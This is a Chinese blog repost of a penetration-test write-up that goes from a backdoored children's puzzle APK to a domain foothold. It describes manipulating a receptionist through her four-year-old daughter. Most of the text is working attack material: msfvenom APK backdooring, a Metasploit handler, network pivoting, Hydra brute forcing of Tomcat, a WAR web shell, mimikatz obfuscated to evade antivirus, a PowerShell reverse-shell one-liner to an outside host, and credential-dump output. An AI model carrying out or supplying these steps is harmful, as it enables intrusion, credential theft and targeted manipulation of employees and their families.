入侵实战 | 看我如何从一个APK到最终拿下域管理权限?

【摘要】本文我将向大家介绍在企业网络中使用个人智能手机,会给我们企业网络造成怎样的潜在威胁?事实证明,想要欺骗一位企业内部的员工并让其安装恶意应用程序,其实并不困难。一旦成功,攻击者就可以突破企业内网的防护机制(如杀毒软件等),自由的内网漫游,甚至可以进行权限提升等敏感行为。声明:本文...

本文我将向大家介绍在企业网络中使用个人智能手机,会给我们企业网络造成怎样的潜在威胁?事实证明,想要欺骗一位企业内部的员工并让其安装恶意应用程序,其实并不困难。一旦成功,攻击者就可以突破企业内网的防护机制(如杀毒软件等),自由的内网漫游,甚至可以进行权限提升等敏感行为。

声明:本文中提及的公司名称,员工姓名,IP均为虚构,如有雷同纯属巧合!

背景

“超级公司”聘请了我们的一位渗透测试人员,要求我们对其员工进行一次社会工程学的评估。测试范围:利用所有可能的手段来窃取他们预留的文件,并以此展开对员工的社会工程学利用。

在他们公司内部会议期间,我们向其公司的无线网络 GUEST Wi-Fi 发出了访问请求。但该wifi受到了专属的门户访问保护,需要输入账户密码登录才可以访问,且凭证有效期仅为一天。

因此,我们决定假冒客户的身份,直接通过询问该公司的接待员获取wifi密码。接待员很热情,当然不会拒绝我们合理的请求。我们成功连入了该公司的wifi网络,随后我使用了iPhone手机上的Fing扫描器,进行了一次快速的扫描,我们发现有多达数页的Android设备列表,这显然超过了当时建筑物中客人的人数。值得一提的是当时我们询问接待员时,我们看到接待员正在使用WhatsApp进行聊天。场景:干净整洁的桌面上仅有两部手机和一张全家福照片,其中包括:母亲(接待员),父亲和一位年轻漂亮的女孩。

经过短暂的聊天,我们得知了小女孩的年龄为四岁,并且非常活泼好动,唯有安卓智能手机的游戏能让她安静下来。

攻击叙述

社会工程学往往开始于一场小型的网络钓鱼,但不幸的是我们并未成功。后来我们才意识到,原因在于“超级公司”在聘请我们进行评估之前,已经对公司内部员工进行了一系列的安全意识培训。因此一般的钓鱼下载等社工手段,已不适用于他们。

为此我们转换了我们的思路,我们决定把目标对准那位热情的接待员。还记得她的那位女儿吗?我们可以专门为其定制一个儿童Android应用程序,并以她的孩子为借口诱使其下载该应用程序。

032917_2253_FromAPKtoGo1.png

我们先是找到了她的电子邮件,然后在电子邮件中放置了一张二维码图片,该二维码图片链接就是我们定制的Android应用程序下载地址,只要简单的扫一扫就能免费下载。二维码如下:

032917_2253_FromAPKtoGo2.png

看上去是不是很可爱呢?其实,里面已经注入了我们提前准备的Meterpreter shell。

针对智能手机

其实构建一个恶意的APK并不难,我们首先下载了一个apk程序,然后使用msfvenom创建了Meterpreter的后门,并将该Meterpreter shell注入进该APK程序:

msfvenom -x puzzle.apk \

-p android/meterpreter/reverse_tcp \

LHOST=<OUR_PUBLIC_IP> LPORT=443 \

-o /var/www/html/puzzle.apk

这里我们使用的侦听端口为443端口,之所以选择该端口为侦听端口是因为,通常情况下80和443端口都是公用防火墙允许的标准端口。同时我们也非常有信心,该应用程序会引起她的注意,并且受害者会因此而忽略安装过程中的警告信息。

在我们的机器上,我们在Metasploit中启动了通用有效载荷处理程序:

msf>use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost <OUR_PUBLIC_IP>

lhost => <OUR_PUBLIC_IP>

msf exploit(handler) > set lport 443

lport => 443

msf exploit(handler) > exploit -j -z

[*] Started reverse TCP handler on <OUR_PUBLIC_IP>:443

由于员工喜欢使用GUEST Wi-Fi进行私人上网,因此我们可以利用这一点在公司外部架设一部天线。

Meterpreter的利用

早上8点多,我们在msfconsole上接收到了她的反弹会话:

[*] Meterpreter session 1 opened (<OUR_PUBLIC_IP>:443 ->X.X.X.X:51990) at …

没错! 她安装并启动了apk,因此我们获得了一个Meterpreter会话!

这里我们需要知道受害者当前连接的网络是否为公司wifi网络。通过一个快速的IP检查我们发现,当前她使用的网络处在蜂窝网络提供商范围。这说明她可能正在去公司的路上,而她的女儿则正在玩安卓益智游戏。

该会话并没有持续太久,在几分钟后我们便失去与该会话的连接。在早上9点之前,我们又得到了另一个 Meterpreter 会话:

[*] Meterpreter session 2 opened (<OUR_PUBLIC_IP>:443 ->K.K.K.K:61545) at …

这次IP是公司的IP,她应该已经连接进了公司的Wi-Fi网络。

我们开始进行一些侦察。 除了几款智能手机,我们没有找到与其他子网不同的DNS

我们开始对其网络进行一系列的信息侦察。我们发现除了几款智能手机外,我们没有找到任何与其他子网相关的DNS。

meterpreter>ipconfig

…..

Interface 9

============

Name : wlan0 – wlan0

Hardware MAC : 20:6e:9c:75:94:ba

IPv4 Address : 10.118.1.13

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::226e:9cff:fe75:94ba

IPv6 Netmask : ::

…….

meterpreter > shell

Process 1 created.Channel 1 created.

getprop net.dns1

192.168.178.196

Wi-Fi GUEST网络在10.118.1.0/24网段上,而DNS服务器则位于不同的子网中。

我们配置了路由,以便我们能够从接待员智能手机的Meterpreter会话中访问这个新的子网:

xploit(handler) > route add 192.168.178.0 255.255.255.0 1

Nmap cannot be excluded, so we did a first quick ping scan using proxychains:

msf auxiliary(socks4a) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

—- ————— ——– ———–

SRVHOST 0.0.0.0 yes The address to listen on

SRVPORT 1080 yes The port to listen on.

# Attacker <-> proxychains nmap -sn 192.168.178.0/24 <-> DNS network

Nmap scan report for 192.168.178.195

Host is up (0.15s latency).

Nmap scan report for 192.168.178.196

Host is up (0.22s latency).

Our hosts were happy to receive our ping scan.

We performed then a quick TCP scan:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196

msf auxiliary(tcp) > set RPORTS 1-1024

msf auxiliary(tcp) > run

[*] 192.168.178.195: – 192.168.178.195:80 – TCP OPEN

[*] 192.168.178.195: – 192.168.178.195:8080 – TCP OPEN

[*] 192.168.178.196: – 192.168.178.196:53 – TCP OPEN

以下是当时我们对受害者网络的拓扑图:

032917_2253_FromAPKtoGo3.png

针对内网服务器

主机192.168.178.195的80和8080端口处于开放状态。我们在本地做了端口转发,以便我们可以在本地对其网络流量进行分析:

meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80

meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080

我们惊奇的发现80端口,曝露了公司内部的手机目录。我们对于其在GUEST网络发布如此重要的信息,感到难以理解。

我们进行了快速扫描,并没有发现有任何价值的漏洞,所以我们决定检查8080端口。

这次我们很幸运,我们得到了一个Apache Tomcat的基本身份验证弹出窗口。经过一些弱密码的简单尝试失败后,我们决定使用Hydra进行爆破,最终我们成功爆破出了登录密码:admin/password123456 并成功登录!

按理来说,Tomcat Manager和电话簿都不应该在GUEST网络下可用,可能是因为公司防火墙配置错误导致的。

032917_2253_FromAPKtoGo4.png

我们计划在Tomcat上上传一个shell,以便与底层操作系统进行交互。

我们使用“Laudanum注入Web漏洞利用代码”来构建我们的war后门,然后利用Manager应用程序,来上传我们的“war”文件,其中包含:

  • cmd.jsp:我们的web shell与cmd.exe进行交互。
  • m.ps1:一个混淆和病毒隐藏版本的mimikatz.ps1,用于抓取密码,散列等…

由于其灵活性,我们可以通过一些关键字的模糊处理来达到躲避检测的效果。例如:Invoke-mimikatz我们也可以写成Invoke-mymy等。

我们还在文件末尾添加了Invoke-mymy -dumpcreds,以便直接执行该功能。

上传后,我们可以直接从我们的览器调用cmd.jsp:

032917_2253_FromAPKtoGo5.png

这是一个振奋人心的消息,我们的用户当前的权限为SYSTEM权限。我们开始进行相关的信息收集工作。首先,我们来查看下环境变量:

命令: cmd /c set

ALLUSERSPROFILE=C:\ProgramData

COMPUTERNAME=SRVINTRANET

USERDOMAIN=SUPERCOMPANY

USERNAME=SRVINTRANET$

We had a name for our machine: SRVINTRANET. Also, it was a member of AD domain SUPERCOMPANY, great!

Other useful information were retrieved using systeminfo:

Command: systeminfo

Host Name: SRVINTRANET

OS Name: Microsoft Windows Server 2012 R2 Standard

OS Version: 6.3.9600 N/A Build 9600

OS Manufacturer: Microsoft Corporation

OS Configuration: Member Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

然后列出域控制器:

命令: cmd /c nltest /dclist:supercompany

Get a list of DCs in domain ‘supercompany’ from ‘\\SRVDC1′.
srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2.supercompany.local [DS]Site: Default-First-Site-Name

The command completed successfully

这个时候,Android设备可能已经发烫,并且开始变得不稳定。因此,我们需要将我们的shell转移到一个更加稳定可靠的环境中。我们决定将其转移到一个PowerShell shell上,但愿SRVINTRANET(企业内部网)可以连接到外网。

在Tomcat的webshell中,我们运行了我们的PowerShell – 并执行了一键式shell连接命令,而在我们的公网服务器中,netcat正在实时的侦听80端口:

命令: cmd /c powershell -nop -c “$c=New-Object Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,80); $s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2>&1|Out-String);$sb2=$sb+’PS ‘+(pwd).Path+’>’; $sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);

$s.Flush()};$c.Close()”

这段脚本代码都为我们做了什么?它使用了一些命令来启动PowerShell:创建了一个TCPClient对象,将其回连到我们的PC,打开一个I/O流,并使用InvokeExpression (IEX)来接收我们的输入字符,并将它们以PowerShell脚本来执行。

但不幸的是,内网中的shell并没有反向连接到我们的外网PC。因此我们可以初步判断,这个服务器很有可能无法连接到互联网。我们再次回到Tomcat的webshell中,并执行了我们之前上传的mimikatz脚本。

命令: cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\m.ps1

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 191734 (00000000:0002ecf6)

Session : Interactive from 1

User Name : Administrator

Domain : SRVINTRANET

Logon Server : SRVINTRANET

Logon Time : 2/17/2017 2:12:31 PM

SID : S-1-5-21-938204560-2839928776-2225904511-500

msv :

[00010000] CredentialKeys

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

[00000003] Primary

* Username : Administrator

* Domain : SRVINTRANET

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

    * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

kerberos :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

ssp :    KO

credman :

mimikatz(powershell) # exit

Bye!

我们得到了本地管理员的哈希值,但没有明文 – 这是因为我们的目标是Windows Server 2012。早在 windows 8.1 开始,微软就已经不再将WDigest密码以明文方式存储。而在 windows 8.1以下版本, WDigest密码都默认以明文形式保存在 LSA 内存中。但是不管怎么说,总算还是有所收获的。

我们决定继续寻找一台,可以访问外网的PC。因此,我们仍将通过不稳定的Android智能手机进行操作。

使用“net view”命令,我们得到了域共享服务器列表:

Server Name Remark

————————————————-

\\SRVDC1 Domain controller PDC

\\SRVDC2 [4] Domain Controller

\\SRVWSUS Server WSUS

\\SRVAV Server AV

\\SRVFILE1 File Server

好了文章先到这里,这里就当是给大家留了个坑吧。发散你们的思维,继续扩大战果吧!

相关文章及链接:

[1] http://www.apkmonk.com/app/com.clollo.simplepuzzleforchildren/

[2] https://www.slideshare.net/DanielBohannon2/invokeobfuscation-nullcon-2017

[3] https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/

[4] https://technet.microsoft.com/en-us/library/bb490719.aspx

*本文转载于FREEBUFF

 小东
 简介:专业团队网站开发、安全运维,合作意向请联系!

扫码关注微信公众号:ITDYBOY,学前端,学安全,从0到1,从1到精通!

扫码关注微信公众号:ITDYBOY

发表评论

游客
送你一朵小花花~

帅人已评(12)

好牛啊
LV 2 战略 8年前 (2017-04-13) 回复